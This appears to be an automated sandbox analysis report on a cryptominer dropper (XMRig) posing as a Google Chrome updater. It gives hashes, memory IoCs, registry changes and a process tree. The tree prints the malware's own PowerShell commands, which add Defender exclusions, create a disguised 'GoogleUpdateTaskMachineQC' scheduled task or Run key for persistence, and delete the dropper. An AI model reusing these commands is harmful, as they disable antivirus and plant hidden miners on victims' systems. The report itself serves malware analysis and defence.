Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1798s - max time network
1793s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
- Target grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
- Size 2.0MB
- Sample240123-x59d7agbd6
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 2608 created 3364 2608 DLKFnAGYJBNTnxwq.exe 35 PID 2608 created 3364 2608 DLKFnAGYJBNTnxwq.exe 35 PID 2608 created 3364 2608 DLKFnAGYJBNTnxwq.exe 35 PID 2608 created 3364 2608 DLKFnAGYJBNTnxwq.exe 35 PID 2164 created 3364 2164 updater.exe 35 PID 2164 created 3364 2164 updater.exe 35 PID 2164 created 3364 2164 updater.exe 35 PID 1404 created 3364 1404 conhost.exe 35 PID 2164 created 3364 2164 updater.exe 35 - XMRig Miner payload 29 IoCs
resource yara_rule behavioral10/memory/1992-125-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-129-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-131-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-133-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-137-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-139-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-141-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-143-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-145-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-147-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-149-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-151-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-153-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-155-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-157-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-159-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-161-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-163-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-165-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-167-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-169-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-171-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-173-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-175-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-177-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-179-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-181-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-183-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig behavioral10/memory/1992-185-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 2164 updater.exe -
resource yara_rule behavioral10/memory/1992-117-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-125-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-129-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-131-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-133-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-137-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-139-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-141-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-143-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-145-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-147-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-149-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-151-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-153-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-155-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-157-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-159-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-161-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-163-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-165-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-167-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-169-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-171-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-173-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-175-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-177-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-179-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-181-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-183-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx behavioral10/memory/1992-185-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2164 set thread context of 1404 2164 updater.exe 117 PID 2164 set thread context of 1992 2164 updater.exe 111 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe DLKFnAGYJBNTnxwq.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3056 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe - Suspicious behavior: EnumeratesProcesses 31 IoCs
pid Process 2608 DLKFnAGYJBNTnxwq.exe 2608 DLKFnAGYJBNTnxwq.exe 4240 powershell.exe 4240 powershell.exe 2608 DLKFnAGYJBNTnxwq.exe 2608 DLKFnAGYJBNTnxwq.exe 2220 powershell.exe 2220 powershell.exe 2608 DLKFnAGYJBNTnxwq.exe 2608 DLKFnAGYJBNTnxwq.exe 2608 DLKFnAGYJBNTnxwq.exe 2608 DLKFnAGYJBNTnxwq.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 2164 updater.exe 2164 updater.exe 4352 powershell.exe 4352 powershell.exe 2164 updater.exe 2164 updater.exe 64 powershell.exe 64 powershell.exe 2164 updater.exe 2164 updater.exe 2164 updater.exe 2164 updater.exe 1404 conhost.exe 1404 conhost.exe 2164 updater.exe 2164 updater.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4240 powershell.exe Token: SeDebugPrivilege 2220 powershell.exe Token: SeIncreaseQuotaPrivilege 2220 powershell.exe Token: SeSecurityPrivilege 2220 powershell.exe Token: SeTakeOwnershipPrivilege 2220 powershell.exe Token: SeLoadDriverPrivilege 2220 powershell.exe Token: SeSystemProfilePrivilege 2220 powershell.exe Token: SeSystemtimePrivilege 2220 powershell.exe Token: SeProfSingleProcessPrivilege 2220 powershell.exe Token: SeIncBasePriorityPrivilege 2220 powershell.exe Token: SeCreatePagefilePrivilege 2220 powershell.exe Token: SeBackupPrivilege 2220 powershell.exe Token: SeRestorePrivilege 2220 powershell.exe Token: SeShutdownPrivilege 2220 powershell.exe Token: SeDebugPrivilege 2220 powershell.exe Token: SeSystemEnvironmentPrivilege 2220 powershell.exe Token: SeRemoteShutdownPrivilege 2220 powershell.exe Token: SeUndockPrivilege 2220 powershell.exe Token: SeManageVolumePrivilege 2220 powershell.exe Token: 33 2220 powershell.exe Token: 34 2220 powershell.exe Token: 35 2220 powershell.exe Token: 36 2220 powershell.exe Token: SeIncreaseQuotaPrivilege 2220 powershell.exe Token: SeSecurityPrivilege 2220 powershell.exe Token: SeTakeOwnershipPrivilege 2220 powershell.exe Token: SeLoadDriverPrivilege 2220 powershell.exe Token: SeSystemProfilePrivilege 2220 powershell.exe Token: SeSystemtimePrivilege 2220 powershell.exe Token: SeProfSingleProcessPrivilege 2220 powershell.exe Token: SeIncBasePriorityPrivilege 2220 powershell.exe Token: SeCreatePagefilePrivilege 2220 powershell.exe Token: SeBackupPrivilege 2220 powershell.exe Token: SeRestorePrivilege 2220 powershell.exe Token: SeShutdownPrivilege 2220 powershell.exe Token: SeDebugPrivilege 2220 powershell.exe Token: SeSystemEnvironmentPrivilege 2220 powershell.exe Token: SeRemoteShutdownPrivilege 2220 powershell.exe Token: SeUndockPrivilege 2220 powershell.exe Token: SeManageVolumePrivilege 2220 powershell.exe Token: 33 2220 powershell.exe Token: 34 2220 powershell.exe Token: 35 2220 powershell.exe Token: 36 2220 powershell.exe Token: SeIncreaseQuotaPrivilege 2220 powershell.exe Token: SeSecurityPrivilege 2220 powershell.exe Token: SeTakeOwnershipPrivilege 2220 powershell.exe Token: SeLoadDriverPrivilege 2220 powershell.exe Token: SeSystemProfilePrivilege 2220 powershell.exe Token: SeSystemtimePrivilege 2220 powershell.exe Token: SeProfSingleProcessPrivilege 2220 powershell.exe Token: SeIncBasePriorityPrivilege 2220 powershell.exe Token: SeCreatePagefilePrivilege 2220 powershell.exe Token: SeBackupPrivilege 2220 powershell.exe Token: SeRestorePrivilege 2220 powershell.exe Token: SeShutdownPrivilege 2220 powershell.exe Token: SeDebugPrivilege 2220 powershell.exe Token: SeSystemEnvironmentPrivilege 2220 powershell.exe Token: SeRemoteShutdownPrivilege 2220 powershell.exe Token: SeUndockPrivilege 2220 powershell.exe Token: SeManageVolumePrivilege 2220 powershell.exe Token: 33 2220 powershell.exe Token: 34 2220 powershell.exe Token: 35 2220 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4788 wrote to memory of 1872 4788 cmd.exe 101 PID 4788 wrote to memory of 1872 4788 cmd.exe 101 PID 4724 wrote to memory of 3176 4724 powershell.exe 104 PID 4724 wrote to memory of 3176 4724 powershell.exe 104 PID 2164 wrote to memory of 1404 2164 updater.exe 117 PID 4424 wrote to memory of 3056 4424 cmd.exe 112 PID 4424 wrote to memory of 3056 4424 cmd.exe 112 PID 2164 wrote to memory of 1992 2164 updater.exe 111 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3364
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2608
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4240
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3176
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1872
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4352
